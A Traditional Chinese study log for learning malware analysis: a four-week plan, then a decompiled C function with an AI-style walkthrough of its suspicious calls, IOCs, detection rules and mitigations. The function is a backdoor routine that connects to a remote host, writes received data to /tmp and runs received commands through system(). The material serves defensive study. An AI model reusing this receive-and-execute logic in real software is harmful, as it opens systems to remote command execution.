— 掌握基礎惡意程式靜動態分析流程
目標說明:學會基本靜態(strings、Ghidra/IDA)與動態(sandbox、procmon/strace)分析流程,並對一個 sample 撰寫行為摘要與 IOC 清單。
里程碑(4 週)
Week1:建立安全的分析環境(隔離 VM、快照、網路封鎖)。
Week2:靜態分析練習:strings、PE header、基本反編譯。
Week3:動態分析練習:監控檔案/網路/進程行為。
Week4:完成一份完整 sample 分析報告(含 IOCs 與修復建議)。
每日/每週任務範例
Day:建立 Windows/Linux VM,安裝分析工具並拍快照。
Day:用 AI 幫你解讀 Ghidra 中的函式(貼反編譯片段請 AI 協助找可疑行為)。
Day:運行 sample(離線或 sandbox),收集檔案系統、Registry、network 行為。
交付物範例
Sample 分析報告:靜態發現、動態行為、IOCs(hash、domain、IP)、緩解措施。
工具
Ghidra / IDA Free、strings、rizin、Cuckoo sandbox(或本地 VM + tcpdump/strace/procmon)、VirusTotal(僅檢查 hash/標籤,不上傳敏感 sample)。
範例 AI Prompt
我有一段反編譯輸出(
int FUN_00102000(int param_1, char *param_2)
{
char buf[512];
int sockfd;
int len;
FILE *fp;
char *ptr;
memset(buf,0,0x200);
sockfd = socket(2,1,0);
if (sockfd < 0) {
return -1;
}
connect(sockfd, (struct sockaddr *)&remote_addr, 0x10);
len = recv(sockfd, buf, 0x200, 0);
if (len <= 0) {
close(sockfd);
return -2;
}
ptr = strstr(buf, "SAVE:");
if (ptr != NULL) {
ptr += 5;
snprintf(buf, 0x200, "/tmp/%s", ptr);
fp = fopen(buf, "w");
if (fp != NULL) {
fwrite(ptr, 1, strlen(ptr), fp);
fclose(fp);
}
}
if (strstr(buf, "EXEC") != NULL) {
system(ptr);
}
if (param_1 == 1) {
memcpy(param_2, buf, 0x100);
}
close(sockfd);
return 0;
}
)
我請ChatGPT檢查是否含有可疑的網路連線、檔案操作或加密函式,並解釋每個可疑呼叫的意義與可能目的。
一眼看出的可疑呼叫與行為
socket(2,1,0) / connect(sockfd, (struct sockaddr *)&remote_addr, 0x10)
意義:建立網路 socket 並連到某個遠端位址(remote_addr 很可能是硬編碼或在其他地方設定)。
可能目的:C2(command-and-control)連線、從遠端接收指令或資料。
為何可疑:惡意程式常會主動對外連線以接收指令或上傳蒐集到的資料。
len = recv(sockfd, buf, 0x200, 0);
意義:從遠端 socket 讀入最多 512 bytes(0x200)到 buf。
可能目的:接收命令、payload、檔案內容或參數。
為何可疑:直接把網路輸入放到固定緩衝,若後續未驗證就使用,會造成任意資料被執行/寫檔。
ptr = strstr(buf, "SAVE:"); 與後續 snprintf(buf, 0x200, "/tmp/%s", ptr); fopen(buf, "w"); fwrite(ptr, 1, strlen(ptr), fp);
意義:檢查接收到的資料是否含有 "SAVE:" 標記;若有,則把標記後的內容組成 /tmp/<內容> 路徑並寫入檔案。
可能目的:從遠端接收檔案內容並在目標系統寫成檔案(dropper / downloader)。
為何可疑:將任意遠端資料寫入 /tmp,容易成為惡意程式載體或腳本。若未處理路徑字元,可能造成不當檔案覆蓋或路徑穿越。
if (strstr(buf, "EXEC") != NULL) { system(ptr); }
意義:若 buf 含 "EXEC" 就呼叫 system(ptr) 執行 ptr 指向的命令。
可能目的:遠端下達命令直接執行(RCE 行為),可用於下載並執行更多 payload、建立後門、清除紀錄等。
為何可疑:system() 會交由 shell 執行,若指令由網路傳入且未過濾,將是高風險的任意命令執行。
memcpy(param_2, buf, 0x100);
意義:當 param_1 == 1 時,把 buf 的內容拷貝到外部的 param_2 緩衝(長度 0x100)。
可能目的:把接收到的資料回傳或供其他函式使用,可能是資料回送、回顯或進一步處理。
為何可疑:如果 param_2 的實際長度或邊界未被檢查,會有緩衝區覆蓋風險。
其他:memset(buf,0,0x200)、snprintf、fclose、close(sockfd)
都是正常操作,但與上面組合起來形成「接收→儲存→執行」的攻擊鏈。
缺少加密/驗證呼叫
你提供的程式片段沒有看到任何加密、簽章或驗證機制(例如 TLS、驗證 token、簽名驗證等),表示接收的命令/檔案可能未經簽署或加密即可使用——這在惡意軟體中很常見(簡單而直接)。
具體風險點(優先等級)
高風險:system(ptr) — 任意命令執行(RCE)。
高風險:從網路直接 recv 並 fwrite 到 /tmp — 可做為 dropper。
中風險:硬編碼或外部設定的 remote_addr — C2 端點。
中風險:未檢查 ptr 與字串邊界、未驗證接收內容完整性。
低/中風險:memcpy 可能導致本地緩衝覆寫或資訊外洩。
建議的下一步調查(動態 + 靜態)
靜態檢查
在 binary 中搜尋字串 "SAVE:", "EXEC", 以及 remote_addr 的定義(找硬編碼 IP/域名)。
找出呼叫 system 的所有位置,看看參數來源。
產生 binary 的 hash,查 VirusTotal 或類似指標(注意不要上傳惡意 sample 到不可信服務)。
動態分析(在隔離環境)
在 sandbox/VM 中執行(網路隔離或模擬 C2),用 tcpdump / wireshark 捕捉 outbound 連線。
使用 strace(Linux)或 procmon(Windows)監控檔案、process、網路呼叫(特別是 fopen/fwrite/system)。
抓取 recv 的實際內容(可以在調試器中截取 buf),查看 SAVE: 與 EXEC 後的 payload 格式。
證據收集
收集可疑 remote_addr(IP/domain)、寫入的檔案路徑(/tmp/)、產生的檔案 hash、可能執行的命令(從 system)。這些都可以做為 IOC。
偵測(SIEM / IDS 規則)建議(範例)
偵測程序 A 嘗試對外建立 TCP 連線到未知或可疑 IP。
偵測程序嘗試寫入 /tmp/* 或其他暫存目錄並馬上執行該檔(寫檔後 spawn process)。
偵測到程序呼叫 system 或 spawn shell 並帶有可疑參數(需要動態分析 agent 支援)。
搜尋二進位包含字串 "SAVE:" 或 "EXEC",列入待檢查名單。
(可把上面規則轉成 SIEM 搜尋條件或 EDR 的行為偵測規則)
緩解建議(如果是你的程式)
不要直接執行來自網路的字串:移除 system(ptr) 或至少建立嚴格白名單驗證。
驗證與簽章:在寫檔或執行前驗證數位簽章或 HMAC。
最小權限寫檔:避免寫到 /tmp,使用受限目錄與安全的檔案開啟 flag(O_EXCL)。
邊界檢查:在 recv、memcpy、snprintf 使用前檢查長度並避免使用不安全 API。
網路加密與認證:使用 TLS 並對伺服器進行憑證驗證;或至少對 C2 指令做認證。
今天是資安學習的第一天,主要目標是了解生成式 AI 在資安學習中的應用,並熟悉反編譯的概念與流程。我學會了什麼是反編譯輸出、它與組譯碼的差別,以及如何辨識可疑行為。雖然還沒動手實作,但透過分析範例,我對網路連線、檔案操作與命令執行的潛在風險有初步理解,對後續的動態分析與實作有明確方向,也建立了使用 AI 助學的基礎心得。